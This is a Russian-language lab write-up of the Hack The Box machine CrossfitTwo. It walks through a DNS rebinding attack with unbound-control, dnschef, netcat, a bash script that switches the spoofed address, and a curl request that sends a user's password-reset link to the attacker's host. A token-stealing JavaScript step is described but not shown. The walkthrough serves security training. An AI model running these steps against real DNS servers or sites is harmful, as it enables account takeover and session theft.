Атака DNS rebinding на примере CrossfitTwo Hack The Box

Сегодня, на примере сложной машины CrossfitTwo с площадки Hack The Box , я покажу вам как на практике работает атака DNS rebinding.

Еще по теме: Взлом веб-сервера на Windows и Apache через SSRF

Атака DNS rebinding

DNS rebinding — атака, при которой вредоносная веб‑страница заставляет браузер пользователя запустить скрипт, который обращается к другим сайтам и сервисам. Теоретически правила ограничения домена (Same Origin Policy) препятствуют подобным запускам: сценарии на стороне клиента могут получать доступ только к данным с того сайта, с которого был получен скрипт. В процессе применения политики браузер сравнивает доменные имена, но атака перепривязки обходит эту защиту, злоупотребляя возможностью DNS быстро менять адреса.

Смысл в том, что злоумышленник регистрирует домен и контролирует DNS-сервер, который его обслуживает. DNS-сервер настраивается так, чтобы его ответы содержали очень короткое время жизни записей (TTL), что предотвращает кеширование ответа клиентом или резолвером. Когда жертва начинает переход на вредоносный домен, DNS-сервер атакующего сначала возвращает настоящий IP-адрес веб‑сервера, который предоставит вредоносный код клиенту.

Затем вредоносный код на стороне клиента совершает дополнительные обращения к исходному имени домена. Same Origin Policy разрешает такие запросы. Однако во время исполнения скрипта в браузере жертвы из‑за устаревания предыдущего DNS-ответа производится новый запрос DNS для данного домена и запрос поступает к DNS-серверу атакующего.

Так как в настройках релея указан домен по маске *employees.crossfit.htb, мы можем зарегистрировать свой домен, к примеру ralfemployees.crossfit.htb. Свой домен тоже добавим в файл /etc/hosts. А теперь указываем редирект DNS на свой хост, чтобы, когда на сервер пришел запрос к домену ralfemployees.crossfit.htb, он переспросил соответствующий адрес с нашего DNS-сервера.

1	unbound-control -c /etc/unbound/unbound.conf -s 10.10.10.232@8953 forward_add +i ralfemployees.crossfit.htb. 10.10.14.117@53

Атака DNS rebinding. Настройка Unbound

Настройки применены, осталось разобраться с локальным DNS-сервером. В качестве такого мы можем использовать легкую утилиту dnschef, уже предустановленную в некоторых боевых дистрибутивах вроде Kali Linux. Указываем интерфейс (опция -i), свой домен ( --fakedomains) и адрес, который ему будет соответствовать ( --fakeip).

1	dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb --fakeip 10.10.14.117

Атака DNS rebinding. Запрос смены пароля

Теперь все обращения на ralfemployees.crossfit.htb должны приводить к нашему локальному веб‑серверу. Чтобы это протестировать, запустим листенер на порте 80:

1	netcat - nc -lvp 80

И выполним запрос на смену пароля, но к нашему виртуальному хосту. Вот только сервер ответит, что данная услуга доступна лишь для локального хоста. Тогда давайте возвращать адрес 127.0.0.1 и повторно выполним запрос.

1	dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb --fakeip 127.0.0.1

В результате мы видим, что запрос успешно проходит, а в окне логов dnschef наблюдаем две записи, то есть запросов стало два. Теперь выполним атаку DNS rebinding. Для этого напишем скрипт, который после двух обращений перезапустит dnschef, чтобы тот с новыми настройками указывал не на локальный адрес, а на наш. При этом после запуска мы выполним запрос для смены пароля, чтобы следующий запрос от другого пользователя пришел на наш сервер.

#!/bin/bash

count=0

dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb --fakeip 127.0.0.1 2>&1 | while read line

case "$line" in *response*) (( count++ ))

echo "Request $count"

[[ "$count" -gt 1 ]] && pkill -f dnschef

esac

done

dnschef -i 10.10.14.117 --fakedomains ralfemployees.crossfit.htb --fakeip 10.10.14.117

1	curl -s -X "POST" -H "Host: ralfemployees.crossfit.htb" -H "Content-Type: application/x-www-form-urlencoded" -d "email=david.palmer%40crossfit.htb" "http://10.10.10.232/password-reset.php"

Спустя минуту к нашему DNS пришел запрос, и dnschef вернул наш адрес. В окне netcat сразу увидим запрос на смену пароля от пользователя. Атака прошла успешно, осталось проэксплуатировать эту уязвимость.

Для этого создаем на своем сервере файл password-reset.php, который содержит код на JavaScript. Этот код будет выполнять запрос к http://crossfit-club.htb/api/auth, получать от сервера токен и выполнять еще один запрос на создание пользователя в чате (нам эта функция была недоступна).

Запускаем веб‑сервер Apache командой:

1	sudo service apache2 start

И помещаем скрипт в директорию веб‑сервера:

1	/var/www/html/

Затем повторяем нашу атаку и после появления запросов в окне dnschef просмотрим логи Apache в файле:

1	/var/log/apache2/access.log

Проходим к нашему сайту и пытаемся авторизоваться. К сожалению, ничего не получается. Почему?

GET-запросы не поддерживаются, а POST-запросы требуют указания параметров. При этом через HTTP-метод OPTIONS мы можем спокойно общаться с сервером и узнать, какие запросы он принимает. В ответе увидим заголовок:

1	[Vary](https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Vary): Origin

То есть нам нужно передавать заголовок Origin, он показывает откуда будет производиться загрузка. В нем нет информации о пути, и он содержит только имя сервера. Origin часто используется в CORS, что нам и нужно проверить.

ПОЛЕЗНЫЕ ССЫЛКИ: